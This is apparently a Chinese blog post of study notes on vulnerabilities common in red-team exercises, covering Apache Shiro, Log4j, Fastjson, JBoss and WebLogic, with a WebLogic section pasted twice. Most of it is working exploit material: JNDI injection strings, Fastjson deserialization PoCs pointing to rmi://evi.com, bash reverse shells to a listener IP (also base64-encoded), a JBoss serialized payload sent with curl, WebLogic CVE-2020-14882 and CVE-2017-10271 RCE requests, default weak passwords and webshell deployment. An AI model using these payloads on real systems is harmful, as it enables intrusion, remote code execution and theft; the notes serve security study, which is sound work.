5.9-15护网常考漏洞

1、中间件漏洞

态势感知(SA):situation awareness

2、常见软件服务漏洞

shiro550和721漏洞区别;

java框架,4a认证,认证授权会话加密。

登录后有个remember me选项,记住会话,验证时先看remember me 选项是否勾选 ;若勾选,将用户身份序列化,再AES加密,之后base64编码;
之后将处理好的内容,放入cookie的remember字段,此时客户端发送请求,带着cookie,对其中remember字段进行解码解密反序列化,获取身份;

shiro550(CVE-2016-4437)

版本Apache Shiro < 1.2.4,vulhub中 CVE-2016-4437;
抓包登录过程中,登录就会有set-cookie,失败cookie会加remember=deleteme;成功则会返回AES+base64后的数据

不管成功失败,回显remember,直接利用漏洞验证工具
区别:550使用的是已知密钥碰撞,密钥固定,只要密钥库足够**(不需要Remember Cookie,721需要)
721的ase加密的key猜不到,随机生成,即利用有效的构造RemerberMe cookie值实现反序列化漏洞;

shiro550不用输入密钥,即可爆破出密钥

shiro721(CVE-2019-12422)

版本Apache Shiro < 1.2.4;
秘钥不再写死,不知密钥的前提下构造序列化的数据;抓包判断shiro框架,直接攻击爆破密钥

原理: shiro提供加解密,利用解密器;利用shiro分组解密提供的密文,解密后对明文填充,计算中间值,得到明文值,再进而篡改序列化数据;

3、log4j漏洞讲解(CVE-2021-44228)

版本<2.14.0前;look up功能注入,在log4j配置文件任意位置添加值的方法,存在jndi,在日志输出是未对其内容过滤,造成jndi协议加载远程恶意代码;实现远程代码执行(RCE)

${jndi:rmi://xxxx:1009/evil}; 

攻击者定义一个接口,携带lookup支持表达式请求服务器操作,log4j打印请求信息,之后执行jndi操作;

DNSlog请求一个回显地址,构造payloadhttp://192.168.127.138:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.cku231.dnslog.cn}


既可看到回显java版本,下载专用验证工具;通过java中的JNDI 访问ldap协议的服务。

另起攻击机监听端口nc -lvvp 8888 本机ip为10.133.6.123,靶机编码反弹shell命令;

#bash反弹命令 bash -i >& /dev/tcp/10.133.6.123/8888 0>&1
进行base64编码YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzMuNi4xMjMvODg4OCAwPiYx

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "192.168.127.138"

修复:升级版本到2.17以上,禁止jndi加载远程资源;

log4j(CVE-2017-5645)反序列化

使用ysoserial制作特定payload,在组件字节序列化对象时,触发payload代码;主要是处理ObjectInputStream时,接受函数对于不可靠来input没用过滤;通过反序列化达到RCE代码执行(高危)

4、fastjosn反序列化远程命令执行漏洞

阿里的json解析器,java语言中的json库;用于json和java对象转换;
版本:<1.2.66

1.2.24及以下 主要是因为,没有对序列化的类做校验,导致漏洞产生;

1.2.25-1.2.41增加了黑名单限制,更改`autoType`默认为关闭选项,加入了checkAutotype,部分未过滤L;。

1.2.42版本是对1.2.41及以下版本的黑名单绕过(双写LL;;),代码内更新字符串黑名单为hash方式

1.2.43版本是对1.2.42及以下版本的黑名单绕过

1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用

1.2.47版本 利用`fastjson`处理`Class`类时的操作,将恶意类加载到缓存中,实现攻击

1.2.62-1.2.67版本 `Class`不会再往缓存中加载恶意类,寻找新的利用链进行突破

1.2.68版本,使用期望类`AutoCloseable`来绕过`fastjson`校验

1.2.72-1.2.80使用期望类Throwable的子类,进行饶过

判断:

  • 模拟post传参,json数据尝试
  • 报错:com.ailibaba.fastjson.JSON

<1.2.24反序列化远程命令执行复现

vulhub启动环境,用java加载调用恶意文件环境,再使用该环境加载恶意类;

通过控制URL参数调用RMI(****Remote Method Invocation,远程方法调用)协议的序列化数据(注:rmi执行命令时不回显)

update-alternatives --config java替换java环境;

下载marshalsec辅助开启JAVA RMI环境:

git clone https://github.com/mbechler/marshalsec

{
"b":{
	"@type":"com.sun.rowset.JdbcRowSetlmpl", 读取被加载错误类型,未过滤type类
"dataSourceName":"rmi://evi.com:9999/dnslog", 一个机器执行另一台机器的命令
"autoCommit":true
}
}

2019 年,fastjson 又被爆出在 fastjson< =1.2.47

1.2.47版本 poc:

{
"a":{
"@type":"java.lang.Class", 读取被加载错误类型
"val":"com.sun.rowset.JdbcRowsSetlmpl"
},

"b":{
"@type":"com.sun.rowset.JdbcRowSetlmpl", 读取被加载错误类型
"dataSourceName":"rmi://evi.com:9999/dnslog", 一个机器执行另一台机器的命令
"autoCommit":true
}
}

5、jboss弱口令

web服务器,管理路径jmx-console/和/web-console默认弱口令admin/vulhub;版本 <4.x,

**版本:jboss 6.1.x

访问http://192.168.127.138:8080/invoker/readonly 返回500状态码则该组件存在漏洞

使用joboss漏洞验证工具验证,并实现命令执行;

JBoss漏洞 CVE-2017-7504

JBoss AS 4.x及之前版本,JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

访问http://192.168.127.138:8080/jbossmq-httpil/HTTPServerILServlet 即验证存在漏洞

构造payload,选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据。

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java

执行完成之后,生成一个ExampleCommonsCollections1WithHashMap.class文件
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/10.133.6.123/8888 0>&1"

我们在kali进行监听。
nc -lvp 4444

发射,将该文件作为请求数据主体发送如下数据包。
curl http://192.168.127.138:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

监听是否反弹成功;

5.x和6.x路径为/jmx-console/和/admin-console/,默认密码存储:jboss/server/default/conf/props/jmx-console-users.properties

6、weblogic

基于javaee的中间件;

ssrf,版本10.0.2-10.3.6 探测内网服务,进行攻击redis、fastcgi等,ssrf反弹shell,反向链接

修复:升级版本补丁;限制/删除uddiexplorer应用只能内网访问;讲将SearchPublicRegistries.jsp直接删除

文件上传;
访问/ws_utc/config.do(未授权访问)

常见弱口令

弱口令:weblogic/Oracle@123
用户名:weblogic、system、admin、WebLogic
密码:weblogic、weblogic123、password、security、system、admin、WebLogic

文件上传


该入口上传jsp小马;

新建文件夹,里面放小-马,使用命令打包小马;上传打包后的test.war文件

jar -cvf test.war .

一直下一步部署完成后,连接小马;默认密码rebeyond

Weblogic 未授权远程命令执行漏洞(CVE-2020-14882,结合CVE-2020-14883命令执行)

=Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。=

直接使用POC,访问url,http://192.168.127.138:7001/console/images/%252E%252E%252Fconsole.portal
http://192.168.127.138:7001/console/css/%252E%252E%252Fconsole.portal 中间%252e%是经常两次编码的../,目录穿越

结合远程代码执行: 两种方法
,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

  • com.tangosol.coherence.mvel2.sh.ShellSession执行命令:(利用DNSLOG)

poc,`http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%203is2n8.dnslog.cn');")

  • 本地网站,创建xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl g1f55g.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

之后访问
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.133.6.123/weblogic.xml"

Weblogic SSRF漏洞(CVE-2014-4210)

影响版本:weblogic 版本10.0.2
weblogic 版本10.3.6
,漏洞路径ip/uddiexplorer/SearchPublicRegistries.jsp
结合远程代码执行: 两种方法
,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

  • com.tangosol.coherence.mvel2.sh.ShellSession执行命令:(利用DNSLOG)

poc,`http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%203is2n8.dnslog.cn');")

  • 本地网站,创建xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl g1f55g.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

之后访问
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.133.6.123/weblogic.xml"

Weblogic SSRF漏洞(CVE-2014-4210)

影响版本:weblogic 版本10.0.2
weblogic 版本10.3.6
,漏洞路径ip/uddiexplorer/SearchPublicRegistries.jsp
填写表单抓包;

修改表单数据包,即可进行内网探测;

回显404表示端口正在被占用(开启);使用脚本探测可节约时间

Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

存在,利用jar验证工具;

另一种POC验证**

访问到受影响版本:
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

访问到url http://192.168.127.138:7001/wls-wsat/RegistrationRequesterPortType存在反序列化漏洞

构造POC如下,监听主机得到回显验证成功:

POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host:192.168.127.138:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 857

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
								<void index="1">
                  <string>-c</string>
                </void>
								<void index="2">
                  <string>bash -i &gt;&amp; /dev/tcp/10.133.6.123/444 0&gt;&amp;1</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

posted @ 2024-05-15 23:42  路Sang  阅读(53)  评论(0编辑  收藏  举报